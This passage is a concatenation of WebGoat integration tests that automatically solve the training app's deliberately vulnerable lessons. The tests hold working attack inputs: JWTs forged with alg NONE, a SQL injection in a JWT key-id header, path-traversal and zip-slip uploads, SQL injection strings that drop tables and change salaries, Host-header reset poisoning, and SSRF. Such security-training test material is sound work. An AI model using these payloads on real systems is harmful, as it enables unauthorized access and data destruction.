MatcherAssert.assertThat(result.then() .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); } public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(contentType) .cookie("JSESSIONID", getWebGoatCookie()) .body(body) .post(url) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } public void checkAssignmentWithGet(String url, Map params, boolean expectedResult) { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .queryParams(params) .get(url) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); } public String getWebWolfFileServerLocation() { String result = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/file-server-location")) .then() .extract().response().getBody().asString(); result = result.replace("%20", " "); return result; } public String webGoatServerDirectory() { return RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/server-directory")) .then() .extract().response().getBody().asString(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java ================================================ package org.owasp.webgoat; import java.io.IOException; import java.nio.charset.Charset; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.time.Instant; import java.util.Base64; import java.util.Calendar; import java.util.Date; import java.util.HashMap; import java.util.Map; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.Test; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ObjectNode; import io.jsonwebtoken.Header; import io.jsonwebtoken.JwsHeader; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.JwtException; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.impl.TextCodec; import io.restassured.RestAssured; import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; public class JWTLessonIntegrationTest extends IntegrationTest { @Test public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException { startLesson("JWT"); decodingToken(); resetVotes(); findPassword(); buyAsTom(); deleteTom(); quiz(); checkResults("/JWT/"); } private String generateToken(String key) { return Jwts.builder() .setIssuer("WebGoat Token Builder") .setAudience("webgoat.org") .setIssuedAt(Calendar.getInstance().getTime()) .setExpiration(Date.from(Instant.now().plusSeconds(60))) .setSubject("tom@webgoat.org") .claim("username", "WebGoat") .claim("Email", "tom@webgoat.org") .claim("Role", new String[] {"Manager", "Project Administrator"}) .signWith(SignatureAlgorithm.HS256, key).compact(); } private String getSecretToken(String token) { for (String key : JWTSecretKeyEndpoint.SECRETS) { try { Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token); } catch (JwtException e) { continue; } return TextCodec.BASE64.encode(key); } return null; } private void decodingToken() { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParam("jwt-encode-user", "user") .post(url("/WebGoat/JWT/decode")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { String accessToken = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/JWT/secret/gettoken")) .then() .extract().response().asString(); String secret = getSecretToken(accessToken); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParam("token", generateToken(secret)) .post(url("/WebGoat/JWT/secret")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void resetVotes() throws IOException { String accessToken = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url("/WebGoat/JWT/votings/login?user=Tom")) .then() .extract().cookie("access_token"); String header = accessToken.substring(0, accessToken.indexOf(".")); header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf(".")); body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset()))); ObjectMapper mapper = new ObjectMapper(); JsonNode headerNode = mapper.readTree(header); headerNode = ((ObjectNode) headerNode).put("alg","NONE"); JsonNode bodyObject = mapper.readTree(body); bodyObject = ((ObjectNode) bodyObject).put("admin","true"); String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) .concat(".") .concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) .concat(".").replace("=", ""); MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .cookie("access_token", replacedToken) .post(url("/WebGoat/JWT/votings")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void buyAsTom() throws IOException { String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); body = body.replace("Jerry", "Tom"); ObjectMapper mapper = new ObjectMapper(); JsonNode headerNode = mapper.readTree(header); headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) .concat(".").replace("=", ""); MatcherAssert.assertThat(RestAssured.given() .when().relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .header("Authorization","Bearer "+replacedToken) .post(url("/WebGoat/JWT/refresh/checkout")) .then().statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void deleteTom() { Map header = new HashMap(); header.put(Header.TYPE, Header.JWT_TYPE); header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); String token = Jwts.builder() .setHeader(header) .setIssuer("WebGoat Token Builder") .setAudience("webgoat.org") .setIssuedAt(Calendar.getInstance().getTime()) .setExpiration(Date.from(Instant.now().plusSeconds(60))) .setSubject("tom@webgoat.org") .claim("username", "Tom") .claim("Email", "tom@webgoat.org") .claim("Role", new String[] {"Manager", "Project Administrator"}) .signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); MatcherAssert.assertThat(RestAssured.given() .when().relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .post(url("/WebGoat/JWT/final/delete?token="+token)) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void quiz() { Map params = new HashMap<>(); params.put("question_0_solution", "Solution 1"); params.put("question_1_solution", "Solution 2"); checkAssignment(url("/WebGoat/JWT/quiz"), params, true); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import io.restassured.path.json.JsonPath; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import java.io.FileInputStream; import java.io.InputStream; import java.util.List; import java.util.Properties; public class LabelAndHintIntegrationTest extends IntegrationTest { final static String ESCAPE_JSON_PATH_CHAR = "\'"; @Test public void testSingleLabel() { Assertions.assertTrue(true); JsonPath jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language","en") .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); // check if lang parameter overrules Accept-Language parameter jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language","en") .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language","en") .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); // check if invalid language returns english jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language","nl") .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); // check if invalid language returns english jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language","xx_YY") .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); } @Test public void testHints() { JsonPath jsonPathLabels = getLabels("en"); List allLessons = List.of( "HttpBasics", "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", "Challenge1"); for (String lesson: allLessons) { startLesson(lesson); List hintKeys = getHints(); for (String key : hintKeys) { String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); //System.out.println("key: " + key + " ,value: " + keyValue); Assertions.assertNotNull(keyValue); Assertions.assertNotEquals(key, keyValue); } } //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); } @Test public void testLabels() { JsonPath jsonPathLabels = getLabels("en"); Properties propsDefault = getProperties(""); for (String key: propsDefault.stringPropertyNames()) { String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); Assertions.assertNotNull(keyValue); } checkLang(propsDefault,"nl"); checkLang(propsDefault,"de"); checkLang(propsDefault,"fr"); checkLang(propsDefault,"ru"); } private Properties getProperties(String lang) { Properties prop = null; if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { prop = new Properties(); // load a properties file prop.load(input); } catch (Exception e) { e.printStackTrace(); } return prop; } private void checkLang(Properties propsDefault, String lang) { JsonPath jsonPath = getLabels(lang); Properties propsLang = getProperties(lang); for (String key: propsLang.stringPropertyNames()) { if (!propsDefault.containsKey(key)) { System.err.println("key: " + key + " in (" +lang+") is missing from default properties"); Assertions.fail(); } if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); System.out.println("expected: "+propsLang.getProperty(key)); System.out.println(); Assertions.fail(); } } } private JsonPath getLabels(String lang) { return RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .header("Accept-Language",lang) .cookie("JSESSIONID", getWebGoatCookie()) //.log().headers() .get(url("service/labels.mvc")) .then() //.log().all() .statusCode(200).extract().jsonPath(); } private List getHints() { JsonPath jsonPath = RestAssured.given() .when() .relaxedHTTPSValidation() .contentType(ContentType.JSON) .cookie("JSESSIONID", getWebGoatCookie()) .get(url("service/hint.mvc")) .then() //.log().all() .statusCode(200).extract().jsonPath(); return jsonPath.getList("hint"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import lombok.SneakyThrows; import org.apache.commons.lang3.StringUtils; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.TestFactory; import static org.junit.jupiter.api.DynamicTest.dynamicTest; import java.util.Arrays; import java.util.Map; public class PasswordResetLessonIntegrationTest extends IntegrationTest { @BeforeEach @SneakyThrows public void init() { startLesson("/PasswordReset"); } @TestFactory Iterable passwordResetLesson() { return Arrays.asList( dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()), dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()), dynamicTest("assignment 2 - simple reset",()-> assignment2()), dynamicTest("assignment 4 - guess questions",()-> assignment4()), dynamicTest("assignment 5 - simple questions",()-> assignment5()) ); } public void assignment2() { checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); } public void assignment4() { checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); } public void assignment5() { checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); } public void solveAssignment() { //WebGoat clickForgotEmailLink("tom@webgoat-cloud.org"); //WebWolf var link = getPasswordResetLinkFromLandingPage(); //WebGoat changePassword(link); checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); } public void sendEmailShouldBeAvailableInWebWolf() { clickForgotEmailLink(this.getUser() + "@webgoat.org"); var responseBody = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/WebWolf/mail")) .then() .extract().response().getBody().asString(); Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); } @AfterEach public void shutdown() { //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete checkResults("/PasswordReset"); } private void changePassword(String link) { RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams("resetLink", link, "password", "123456") .post(url("PasswordReset/reset/change-password")) .then() .statusCode(200); } private String getPasswordResetLinkFromLandingPage() { var responseBody = RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("WEBWOLFSESSION", getWebWolfCookie()) .get(webWolfUrl("/WebWolf/requests")) .then() .extract().response().getBody().asString(); int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1); return link; } private void clickForgotEmailLink(String user) { RestAssured.given() .when() .header("host", String.format("%s:%s", "localhost", getWebWolfPort())) .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams("email", user) .post(url("PasswordReset/ForgotPassword/create-password-reset-link")) .then() .statusCode(200); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import lombok.SneakyThrows; import org.hamcrest.CoreMatchers; import org.hamcrest.MatcherAssert; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.io.TempDir; import org.springframework.security.core.token.Sha512DigestUtils; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Arrays; import java.util.Map; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; import static org.junit.jupiter.api.DynamicTest.dynamicTest; class PathTraversalIT extends IntegrationTest { @TempDir Path tempDir; private File fileToUpload = null; @BeforeEach @SneakyThrows public void init() { fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile(); Files.write(fileToUpload.toPath(), "This is a test".getBytes()); startLesson("PathTraversal"); } @TestFactory Iterable testPathTraversal() { return Arrays.asList( dynamicTest("assignment 1 - profile upload", () -> assignment1()), dynamicTest("assignment 2 - profile upload fix", () -> assignment2()), dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()), dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()), dynamicTest("assignment 5 - zip slip", () -> assignment5()) ); } private void assignment1() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .param("fullName", "../John Doe") .post(url("/WebGoat/PathTraversal/profile-upload")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void assignment2() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) .param("fullNameFix", "..././John Doe") .post(url("/WebGoat/PathTraversal/profile-upload-fix")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void assignment3() throws IOException { MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } private void assignment4() throws IOException { var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; RestAssured.given().urlEncodingEnabled(false) .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .get(url(uri)) .then() .statusCode(200) .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())), true); } private void assignment5() throws IOException { var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows var webGoatDirectory = new File(webGoatHome); var zipFile = new File(tempDir.toFile(), "upload.zip"); try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg"); zos.putNextEntry(e); zos.write("test".getBytes(StandardCharsets.UTF_8)); } MatcherAssert.assertThat( RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) .post(url("/WebGoat/PathTraversal/zip-slip")) .then() .statusCode(200) .extract().path("lessonCompleted"), CoreMatchers.is(true)); } @AfterEach void shutdown() { //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete checkResults("/PathTraversal"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.response.Response; import org.assertj.core.api.Assertions; import org.junit.jupiter.api.Test; import java.util.List; import java.util.Map; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.stream.Collectors; import java.util.stream.IntStream; public class ProgressRaceConditionIntegrationTest extends IntegrationTest { @Test public void runTests() throws InterruptedException { int NUMBER_OF_CALLS = 40; int NUMBER_OF_PARALLEL_THREADS = 5; startLesson("Challenge1"); Callable call = () -> { //System.out.println("thread "+Thread.currentThread().getName()); return RestAssured.given() .when() .relaxedHTTPSValidation() .cookie("JSESSIONID", getWebGoatCookie()) .formParams(Map.of("flag", "test")) .post(url("/challenge/flag/")); }; ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); List> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); var responses = executorService.invokeAll(flagCalls); //A certain amount of parallel calls should fail as optimistic locking in DB is applied long countStatusCode500 = responses.stream().filter(r -> { try { //System.err.println(r.get().getStatusCode()); return r.get().getStatusCode() != 200; } catch (InterruptedException | ExecutionException e) { //System.err.println(e); throw new IllegalStateException(e); } }).count(); System.err.println("counted status 500: "+countStatusCode500); Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS))); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java ================================================ package org.owasp.webgoat; import java.io.IOException; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; public class SSRFIntegrationTest extends IntegrationTest { @Test public void runTests() throws IOException { startLesson("SSRF"); Map params = new HashMap<>(); params.clear(); params.put("url", "images/jerry.png"); checkAssignment(url("/WebGoat/SSRF/task1"),params,true); params.clear(); params.put("url", "http://ifconfig.pro"); checkAssignment(url("/WebGoat/SSRF/task2"),params,true); checkResults("/SSRF/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source * ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat; import java.util.Map; import org.junit.jupiter.api.Test; /** * * @author Angel Olle Blazquez * */ class SessionManagementIT extends IntegrationTest { private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; @Test void hijackSessionTest() { startLesson("HijackSession"); checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java ================================================ package org.owasp.webgoat; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { @Test public void runTests() { startLesson("SqlInjectionAdvanced"); Map params = new HashMap<>(); params.clear(); params.put("username_reg", "tom' AND substring(password,1,1)='t"); params.put("password_reg", "password"); params.put("email_reg", "someone@microsoft.com"); params.put("confirm_password", "password"); checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true); params.clear(); params.put("username_login", "tom"); params.put("password_login", "thisisasecretfortomonly"); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true); params.clear(); params.put("userid_6a", "'; SELECT * FROM user_system_data;--"); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); params.clear(); params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --"); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); params.clear(); params.put("userid_6b", "passW0rD"); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true); params.clear(); params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement"); params.put("question_1_solution", "Solution 3: ?"); params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way."); params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data."); params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true); checkResults("/SqlInjectionAdvanced/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java ================================================ package org.owasp.webgoat; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; public class SqlInjectionLessonIntegrationTest extends IntegrationTest { public static final String sql_2 = "select department from employees where last_name='Franco'"; public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; public static final String sql_4_drop = "alter table employees drop column phone"; public static final String sql_4_add = "alter table employees add column phone varchar(20)"; public static final String sql_5 = "grant select on grant_rights to unauthorized_user"; public static final String sql_9_account = " ' "; public static final String sql_9_operator = "or"; public static final String sql_9_injection = "'1'='1"; public static final String sql_10_login_count = "2"; public static final String sql_10_userid = "1 or 1=1"; public static final String sql_11_a = "Smith' or '1' = '1"; public static final String sql_11_b = "3SL99A' or '1'='1"; public static final String sql_12_a = "Smith"; public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith"; public static final String sql_13 = "%update% '; drop table access_log ; --'"; @Test public void runTests() { startLesson("SqlInjection"); Map params = new HashMap<>(); params.clear(); params.put("query", sql_2); checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true); params.clear(); params.put("query", sql_3); checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true); params.clear(); params.put("query", sql_4_add); checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true); params.clear(); params.put("query", sql_5); checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true); params.clear(); params.put("operator", sql_9_operator); params.put("account", sql_9_account); params.put("injection", sql_9_injection); checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true); params.clear(); params.put("login_count", sql_10_login_count); params.put("userid", sql_10_userid); checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true); params.clear(); params.put("name", sql_11_a); params.put("auth_tan", sql_11_b); checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true); params.clear(); params.put("name", sql_12_a); params.put("auth_tan", sql_12_b); checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true); params.clear(); params.put("action_string", sql_13); checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true); checkResults("/SqlInjection/"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java ================================================ package org.owasp.webgoat; import io.restassured.RestAssured; import io.restassured.http.ContentType; import java.util.HashMap; import java.util.Map; import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.containsString; public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { @Test public void runTests() { startLesson("SqlInjectionMitigations"); Map params = new HashMap<>(); params.clear(); params.put("field1", "getConnection"); params.put("field2", "PreparedStatement prep"); params.put("field3", "prepareStatement"); params.put("field4", "?"); params.put("field5", "?"); params.put("field6", "prep.setString(1,\"\")"); params.put("field7", "prep.setString(2,\\\"\\\")"); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true); params.put("editor", "try {\r\n" + " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" + " PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" + " prep.setString(1,\"me\");\r\n" + " prep.execute();\r\n" + " System.out.println(conn); //should output 'null'\r\n" + "} catch (Exception e) {\r\n" + " System.out.println(\"Oops. Something went wrong!\");\r\n" + "}"); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); params.clear(); params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true); params.clear(); params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true); RestAssured.given() .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) .then() .statusCode(200); RestAssured.given() .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .contentType(ContentType.JSON) .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) .then() .statusCode(500) .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); params.clear(); params.put("ip", "104.130.219.202"); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true); checkResults(); } } ================================================ FILE: 